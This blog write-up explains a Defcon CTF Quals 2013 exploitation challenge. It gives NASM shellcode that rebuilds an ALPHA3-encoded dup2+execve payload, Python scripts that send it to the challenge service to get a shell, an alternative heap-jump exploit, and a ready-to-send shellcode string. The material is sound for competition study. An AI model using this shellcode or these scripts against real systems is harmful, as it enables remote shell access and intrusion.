Defcon CTF Quals 2013 - \xff\xe4\xcc 400 (penser)

30 June 2013 by mf

Download problem: Here

This program takes as input a string (max 0×1000 in size) and inflates it in the following way: each byte in our payload gets expanded to byte + 0×00.

The following NASM code contains both the decoder logic and a dup2+ execve ASCII payload encoded with ALPHA3.

BITS 64
GLOBAL _start

; Dummy filler instruction
%define FILL db 0x00,0x5a,0x00

_start:

; Pacify the fillers, just in case
; rbx <= 0
push 0
pop rbx
FILL

; Create a bit of space on the stack so we don't smash whatever is already there
push 0

; Make RDI point to stack where we do arithmetics
push rsp
FILL
pop rdi
FILL
pop rsi ;junk
FILL

;;
;; Make sure RDX points to RDX + 0x1e00
;;

; Set CH to 1
xor eax, 0x41002000
FILL
xor eax, 0x41002100
FILL
push rax
FILL
pop RCX
FILL

; Set AH to 0x1e
push 0x41002000
FILL
pop rax
FILL
xor eax, 0x41003e00
FILL

; Save original rdi
push rdi
FILL
pop rbp 
FILL

; Increment rdi
push rdi
FILL
db 0x65,0x00,0x6f,0x00 ; ADD [RDI+0x0], CH
pop rdi
FILL

; Inc rdx by 0x20
push rdx ; push pointer to code
FILL
db 0x3e,0x00,0x67,0x00 ; ADD [RDI+0x0], AH
pop rdx
FILL

; Restore original rdi
push rbp
FILL
pop rdi
FILL

; Save original rdx
push rdx
FILL
pop rbp
FILL

;
; rdx points to our code-creation area which is at BASE + 0x1e00
;

%macro  create_byte 1
        push 0x41000000 + (%1<<8)
        FILL
        pop rax
        FILL
        db 0x66,0x00,0x62,0x00 ;ADD [RDX+0x0], AH

        ; Increment rdx
        push rdx
        FILL
        db 0x65,0x00,0x6f,0x00 ; ADD [RDI+0x0], CH
        pop rdx
        FILL
%endmacro

create_byte 0x52; R
create_byte 0x68; h
create_byte 0x30; 0
create_byte 0x36; 6
create_byte 0x36; 6
create_byte 0x36; 6
create_byte 0x54; T
create_byte 0x59; Y
create_byte 0x31; 1
create_byte 0x31; 1
create_byte 0x33; 3
create_byte 0x31; 1
create_byte 0x58; X
create_byte 0x68; h
create_byte 0x33; 3
create_byte 0x33; 3
create_byte 0x33; 3
create_byte 0x33; 3
create_byte 0x31; 1
create_byte 0x31; 1
create_byte 0x6b; k
create_byte 0x31; 1
create_byte 0x33; 3
create_byte 0x58; X
create_byte 0x6a; j
create_byte 0x69; i
create_byte 0x56; V
create_byte 0x31; 1
create_byte 0x31; 1
create_byte 0x48; H
create_byte 0x63; c
create_byte 0x31; 1
create_byte 0x5a; Z
create_byte 0x58; X
create_byte 0x59; Y
create_byte 0x66; f
create_byte 0x31; 1
create_byte 0x54; T
create_byte 0x71; q
create_byte 0x49; I
create_byte 0x48; H
create_byte 0x66; f
create_byte 0x39; 9
create_byte 0x6b; k
create_byte 0x44; D
create_byte 0x71; q
create_byte 0x57; W
create_byte 0x30; 0
create_byte 0x32; 2
create_byte 0x44; D
create_byte 0x71; q
create_byte 0x58; X
create_byte 0x30; 0
create_byte 0x44; D
create_byte 0x31; 1
create_byte 0x48; H
create_byte 0x75; u
create_byte 0x33; 3
create_byte 0x4d; M
create_byte 0x31; 1
create_byte 0x4c; L
create_byte 0x33; 3
create_byte 0x61; a
create_byte 0x32; 2
create_byte 0x46; F
create_byte 0x30; 0
create_byte 0x37; 7
create_byte 0x37; 7
create_byte 0x6e; n
create_byte 0x31; 1
create_byte 0x33; 3
create_byte 0x34; 4
create_byte 0x70; p
create_byte 0x35; 5
create_byte 0x70; p
create_byte 0x32; 2
create_byte 0x76; v
create_byte 0x30; 0
create_byte 0x38; 8
create_byte 0x30; 0
create_byte 0x6b; k
create_byte 0x31; 1
create_byte 0x30; 0
create_byte 0x33; 3
create_byte 0x63; c
create_byte 0x31; 1
create_byte 0x6e; n
create_byte 0x30; 0
create_byte 0x74; t
create_byte 0x30; 0
create_byte 0x6a; j
create_byte 0x30; 0
create_byte 0x41; A
create_byte 0x33; 3
create_byte 0x54; T
create_byte 0x34; 4
create_byte 0x49; I
create_byte 0x33; 3
create_byte 0x66; f
create_byte 0x34; 4
create_byte 0x48; H
create_byte 0x32; 2
create_byte 0x71; q
create_byte 0x30; 0
create_byte 0x64; d
create_byte 0x30; 0
create_byte 0x34; 4
create_byte 0x31; 1
create_byte 0x31; 1
create_byte 0x33; 3
create_byte 0x63; c
create_byte 0x32; 2
create_byte 0x4b; K
create_byte 0x34; 4
create_byte 0x4a; J
create_byte 0x35; 5
create_byte 0x4f; O
create_byte 0x34; 4
create_byte 0x6d; m
create_byte 0x33; 3
create_byte 0x72; r
create_byte 0x33; 3
create_byte 0x31; 1
create_byte 0x34; 4
create_byte 0x7a; z
create_byte 0x35; 5
create_byte 0x4c; L
create_byte 0x33; 3
create_byte 0x46; F
create_byte 0x38; 8
create_byte 0x4c; L
create_byte 0x37; 7
create_byte 0x4c; L
create_byte 0x33; 3
create_byte 0x53; S
create_byte 0x34; 4
create_byte 0x52; R
create_byte 0x31; 1
create_byte 0x50; P
create_byte 0x30; 0
create_byte 0x32; 2
create_byte 0x30; 0
create_byte 0x6b; k
create_byte 0x33; 3
create_byte 0x41; A
create_byte 0x31; 1
create_byte 0x50; P
create_byte 0x32; 2
create_byte 0x46; F
create_byte 0x30; 0
create_byte 0x64; d
create_byte 0x32; 2
create_byte 0x5a; Z
create_byte 0x35; 5
create_byte 0x70; p
create_byte 0x32; 2
create_byte 0x6f; o
create_byte 0x37; 7
create_byte 0x6e; n
create_byte 0x30; 0
create_byte 0x34; 4
create_byte 0x30; 0
create_byte 0x33; 3

; Restore original rdx
push rbp
FILL
pop rdx
FILL

; Make those 0000 bytes executable. After this, it will be all zeroes until our payload at offset + 0x1e00
push rsp
FILL
pop rax
FILL
push 0

The ASCII payload for execv() + dup() alone is as follows:

Rh0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M1L3a2F077n134p5p2v080k103c1n0t0j0A3T4I3f4H2q0d04113c2K4J5O4m3r314z5L3F8L7L3S4R1P020k3A1P2F0d2Z5p2o7n0403Rh0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M1L3a2F077n134p5p2v080k103c1n0t0j0A3T4I3f4H2q0d04113c2K4J5O4m3r314z5L3F8L7L3S4R1P020k3A1P2F0d2Z5p2o7n0403

When we assemble the above NASM program, it will be perforated with zeroes (every second byte will be a zero-byte), but the service expects input in a non-perforated way. The following script will take the above input and remove all the zero-bytes and send it off to the service.

import socket
from struct import *

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect(("192.168.100.100", 8273))

f = open("./stage.bin", "rb")
sc = f.read()

# Remove the zeroes
sc = sc.replace("\x00", "")

# Debug
print sc.encode("hex")
print "LEN " + hex(len(sc))

# Send the size of the shellcode
s.send(pack("I", len(sc)))

# Send the shellcode itself
s.send(sc)

# Boom.
s.send("uname -a\n")

print s.recv(1024)

There is also an alternative solution to the problem. The program has executable heap, and on it, it holds our non-perforated shellcode. We just have to find the offset of the heap buffer and jump to it. The NASM payload for this exploitation method is as follows:

BITS 64
GLOBAL _start

; Dummy filler instruction
%define FILL db 0x00,0x5a,0x00

_start:
        pop rax
        FILL
        pop rax
        FILL
        pop rax
        FILL
        pop rax
        FILL
        ; The next value on the stack is the pointer to the malloc'd unexpanded shellcode! The code will return to it, with a given offset of course
        pop rbp
        FILL

        ; Make RDI points to stack where we do arithmetics
        push rsp
        FILL
        pop rdi
        FILL
        pop rsi ;junk
        FILL

        ; Save original rdi
        push rdi
        FILL
        pop rsi 
        FILL

        ; Set CH to 1
        push 0x41002000
        FILL
        pop rax
        FILL
        xor eax, 0x41002100
        FILL
        push rax
        FILL
        pop rcx
        FILL

        ; Increment rdi
        push rdi
        FILL
        db 0x65,0x00,0x6f,0x00 ; ADD [RDI+0x0], CH
        pop rdi
        FILL

        ; Inc rdx by 0x20
        push rbp ; push pointer to code
        FILL
        db 0x65,0x00,0x6f,0x00 ; ADD [RDI+0x0], CH
        pop rbp
        FILL

        push rdx ; push pointer to code
        FILL
        db 0x65,0x00,0x6f,0x00 ; ADD [RDI+0x0], CH
        pop rdx
        FILL

        ; Restore original rdi
        push rsi
        FILL
        pop rdi 
        FILL

        push 0x41004500
        FILL
        pop rcx
        FILL
        push rdx
        FILL
        db 0x65,0x00,0x6f,0x00 ; ADD [RDI+0x0], CH
        pop rdx
        FILL

        ; This code will create a RET (0xc3) instruction
        push 0x41005100
        FILL
        pop rax
        FILL
        db 0x66,0x00,0x62,0x00 ;ADD [RDX+0x0], AH
        db 0x66,0x00,0x62,0x00 ;ADD [RDX+0x0], AH

        push 0x41002100
        FILL
        pop rax
        FILL
        db 0x66,0x00,0x62,0x00 ;ADD [RDX+0x0], AH
        ;;;;

        ; Make those 0000 bytes executable. After this, it will be all zeroes until our RET instruction
        push rsp
        FILL
        pop rcx
        FILL

        ; rdx needs to point to the load address of our payload. The ASCII decoder demands it
        push rbp
        FILL
        pop rdx
        FILL

        ; Push the return address for the constructed RET instruction
        push rbp

The python code which sends the above payload looks is somewhat modified and looks like this:

import socket
from struct import *

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect(("192.168.100.100", 8273))

f = open("./stage.bin", "rb")
sc = f.read()

#CMP [RAX], EAX (NOP instruction padding)
sc += "\x39\x00"*((0x200-len(sc))/2)
sc = sc.replace("\x00", "") 

payload = "Rh0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M1L3a2F077n134p5p2v080k103c1n0t0j0A3T4I3f4H2q0d04113c2K4J5O4m3r314z5L3F8L7L3S4R1P020k3A1P2F0d2Z5p2o7n0403"
sc += payload

print sc.encode("hex")

print "LEN " + hex(len(sc))
s.send(pack("I", len(sc)))
s.send(sc)

s.send("uname -a\n")

print s.recv(1024)

For the lazy ones, it is sufficient to send the following ASCII text to the service, which will then spawn a shell on the same socket.

XZXZXZXZ]ZTZ_Z^ZWZ^ZhAZXZ5!AZPZYZWZeo_ZUZeo]ZRZeoZZVZ_ZhEAZYZRZeoZZhQAZXZfbfbh!AZXZfbTZYZUZZZU99999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999Rh0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M1L3a2F077n134p5p2v080k103c1n0t0j0A3T4I3f4H2q0d04113c2K4J5O4m3r314z5L3F8L7L3S4R1P020k3A1P2F0d2Z5p2o7n0403

Comments